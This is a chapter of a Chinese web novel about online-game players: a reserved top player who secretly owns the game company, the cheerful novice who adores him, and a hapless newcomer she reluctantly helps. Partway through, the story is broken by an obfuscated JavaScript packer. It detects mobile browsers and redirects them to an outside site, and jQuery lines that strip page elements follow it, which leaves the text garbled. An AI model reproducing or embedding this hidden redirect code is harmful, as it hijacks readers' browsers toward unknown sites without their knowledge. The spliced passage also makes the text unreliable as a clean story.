同样不明白的还有周敛。
连轴转了几天后，他再次上游戏，看到邮件里月光小漪送的衣服配饰甚至是好感道具同心结，颇有一种当了和尚在外累死累活结果回去发现徒弟一心要还俗的无力感。
怎么有人挨了这么多天的训还贼心不死啊。
剑吟这游戏礼物不能退回，周敛点开商城，快速翻了翻，买了两个同价位的时装盒子送回去。
看到她的头像亮起，周敛又点开私聊。字还没打完，对面先发来一条消息。
[密聊]月光小漪：大佬你终于上线了！
[密聊]山海：以后别给我送东西了。
[密聊]月光小漪：欸，为什么啊？这个新出的时装你不喜欢嘛？
[密聊]山海：别浪费钱。
[密聊]月光小漪：哦哦，这你不用担心，没有浪费钱，都是我们帮会发的/转圈圈/转圈圈
周敛：？
他担心的是这个吗？
[密聊]月光小漪：我们帮会待遇可好了，上次帮战拿了甲一，帮主给每个人都发了套限定时装呢。
[密聊]月光小漪：我还听说他们下赛季跟一剑霜寒约了帮战，如果打赢了输出第一的奖励一套顶奢呢，要是大佬你在的话，这个第一肯定非你莫属了吧ovo
明漪暗戳戳地夹带私货，这么好的福利，她就不信大佬一点也不心动！
[密聊]山海：……
好吧，他真的一点也不心动。
明漪叹了口气，深觉任重而道远。
她见好就收地转移话题。
[密聊]月光小漪：大佬，我们今天去打哪个boss/奋斗
[密聊]山海：以后你自己打。
[密聊]月光小漪：啊，可我还没出师啊。
【系统】对方拒绝了你的入队申请
[密聊]月光小漪：你要弃养我了嘛大佬qaq
养萌新是这游戏里很多老玩家爱做的事，毕竟到了大后期，剧情过完、副本毕业、探索度拉满，每天上线也没什么事干，无聊之下就喜欢带新人。
三两招秒掉对于萌新来说难如登天的boss，看到小徒弟崇拜的目光，这样的成就感对于他们来说比枯燥的pve好太多。
但周敛不同，他从来不觉得刷本枯燥。无论是boss的不同打法，还是装备、内功和连招顺序对角色伤害的提升，亦或各个职业配队产生的增益，在他看来都很有意思。
简而言之，他是一个忠实的pve爱好者。
处理人际关系不是他擅长的事，因此发现月光小漪的异状后，他确实有些头大。
倒也不至于“弃养”，大不了换种方法，他直接冲进一剑霜寒，把长剑映雪杀个百八十次，也算履行了当初的承诺。
至于再之后，那就跟他没什么关系了，毕竟两人也不算师徒。
可看着那可怜巴巴的表情，周敛突然又有点于心不忍。
他手指在鼠标上顿了顿，找了个理由。
[密聊]山海：最近很忙，后面几天我可能都没时间上线，你先自己刷，机制不是都教过你了？
这也不是撒谎，那个游戏的漏洞虽然修好了，但新项目也快进入测试期，收尾、宣发一系列的工作都有得忙。
见对面半晌没有回复，周敛又看了看自己刚刚说的这两句话。
以后你自己打。
机制不是都教过你了？
语气看上去似乎是有点硬，不会又让月光小漪觉得他是要弃养她吧。
不对，什么弃养。
周敛轻拧了拧眉，莫名有点烦。
[密聊]山海：算了，你加我微信，忙完有空上线我在上面跟你说。
依旧没有回应，周敛补充道。
[密聊]山海：有不懂的机制你也可以微信问我。
……
[密聊]山海：？
[密聊]月光小漪：我回来了我回来了，刚刚上厕所去了，大佬你说什么了，等等我看看聊天记录。
周敛：……
[密聊]月光小漪：好呀！我把我微信发你，139xxxxxxxx
周敛拿起一旁的手机，将她发来的那串数字输进去，按下查找，一个粉色简笔画小猫头像的微信号弹出来，上方还用歪歪扭扭的字体写着“天才”两个字。
名字倒是和二手交易平台上的id一样，是一个o-o的颜文字。
o-o是警告。周敛脑子里莫名想起这句话，随即他皱了皱眉，什么警告，怎么有种被月光小漪入侵大脑的趋势。
确定这就是她后，周敛添加好友，对面几乎秒通过。
【o-o】：大佬！
【ZL】：。
【o-o】：你好高冷。
【ZL】：。！
【o-o】：……好冷
【o-o】：大佬你什么时候忙完啊，下周就要新赛季了，你还带我打新副本吗？
【ZL】：带，那个时候应该忙完了。
【o-o】：那这几天你都不上线了嘛。
【ZL】：看加不加班。
【o-o】：不要加班啊，加班是坏文明！
……
这话周敛没办法回答。
没人想加班，但干游戏行业的，加班简直跟吃饭喝水一样日常。
【o-o】：你们老板真是黑心！
【ZL】：。
他就是老板。
怎么回事，怎么一天之内能被人骂两次同样的话。
员工加班骂他黑心也就算了，他自己加班也要被骂黑心啊。
*
第二天是周一，明漪的论文指导老师身体抱恙，小组会议改在线上进行。将自己的进展汇报完后，明漪打开了游戏。
列表里，山海的头像一直到晚上都没有亮起。
大佬不在，明漪连打怪的动力都没有了。
她叹着气从世界boss旁边走过。
“大佬不在的第一天，想——”
“砰！”
一声巨响，不远处一道被boss拍飞的人影，在空中划过抛物线，狠狠地砸在了明漪面前。
地面出现一个大坑，明漪瞬间被吓得眼神都清澈了。
缓好心跳，她正打算绕开坑走，地上那个穿着初始时装的摇光说话了。
[附近]小饼干：你别走。
不是吧？还有这么碰瓷的。
明漪登时往后退出一大步，刚想辩解这跟她可没关系，那个人的头顶又弹出一个对话框。
[附近]小饼干：大佬，你可不可以带我打一下那个怪物，我打了42次了都没打过。
42次还没打过，难道就没考虑放弃吗？
明漪话到嘴边又收了回去。
等等，这人叫她什么？
[附近]
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256441|182070||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小饼干：大佬，你也是摇光吗，我想打副本，可是每次进队伍都被踢，他们说摇光太弱了，大佬你知道摇光要怎么变强吗？
说话间，地上的摇光成男已经吃了药原地自起了。他穿着初始时装，捏脸也是在系统脸上稍微改了改，显得有点呆呆的。
明漪点开他的名片，没有帮会没有结义，装备、武器和坐骑都朴素得不能再朴素，甚至连等级都只有69级，在这两周时间就能升到满级的游戏里，算是很新的新人了。
难怪会把明漪当成大佬。
还没有人这么喊过她呢！
明漪心底忍不住有些雀跃，表面却端着架子。
[附近]月光小漪：好吧。
无妄海的世界boss山海带她刷过好几次，明漪已经熟得不能再熟。将小饼干拉入队伍后，她去重新开启挑战。
狰狞的凶兽从海底升起，掀起滔天巨浪向他们拍来。明漪施展轻功腾空，躲过第一波机制后，她才想起来队伍里还有一个人。
回头一看，摇光成男屹立在浪花之中，一瓶接一瓶地灌着特效疗伤药。
明漪：？
实力不详，耐药性极强。
没有管他，明漪跃过礁石冲向海中央，给boss挂上元素伤害。
她打怪打得有条不紊，小饼干吃药吃得手忙脚乱。在两人完全没有配合的配合下，世界boss轰然倒下，海面上出现了一个通关宝箱。
[队伍]月光小漪：去开宝箱。
[队伍]月光小漪：你人呢？
[队伍]小饼干：我在复活点这里，背包的药全用完了，我只能回复活点复活了。
[队伍]小饼干：大佬等等我，我马上到！
[队伍]月光小漪：没事，不着急。
明漪正觉得自己说的话似曾相识，不远处一个骑着马的身影朝着这边奔来。
领完首通奖励，小饼干崇拜道。
[队伍]小饼干：大佬，你好厉害啊。
[队伍]小饼干：我能拜你为师吗，你是我在游戏里认识的最厉害的人了。
[队伍]月光小漪：你认识几个人。
[队伍]小饼干：就你一个啊。
明漪：……
[队伍]小饼干：但你真的很厉害，心地还很好，之前我求别人帮我都没人理我的。
原来还不是第一次碰瓷了啊。
[队伍]小饼干：而且你是我在游戏里认识的第一个摇光，这游戏里玩摇光的人为什么这么少啊。
[队伍]月光小漪：那你当时是为什么选摇光？
[队伍]小饼干：因为我看下雨了，八个职业里只有他有伞。
游戏开头动画是有一段主控在雨中奔跑的画面，但那是在被仇家追杀，哪有人被追杀的时候还有心情打伞啊！
明漪不想收徒的心更坚定了，太笨的人有损师门形象。
[队伍]小饼干：师父。
[队伍]月光小漪：不准叫我师父！
[队伍]小饼干：好吧，大佬。
[队伍]月光小漪：你加我好友吧，下次打boss的话可以喊我一起打。
[队伍]小饼干：好！谢谢大佬/开心
看着他开心地原地转圈，明漪郁闷的心情也跟着好了不少。
等一下，她是因为什么郁闷来着。
哦对——
“大佬不在的第一天，想他。”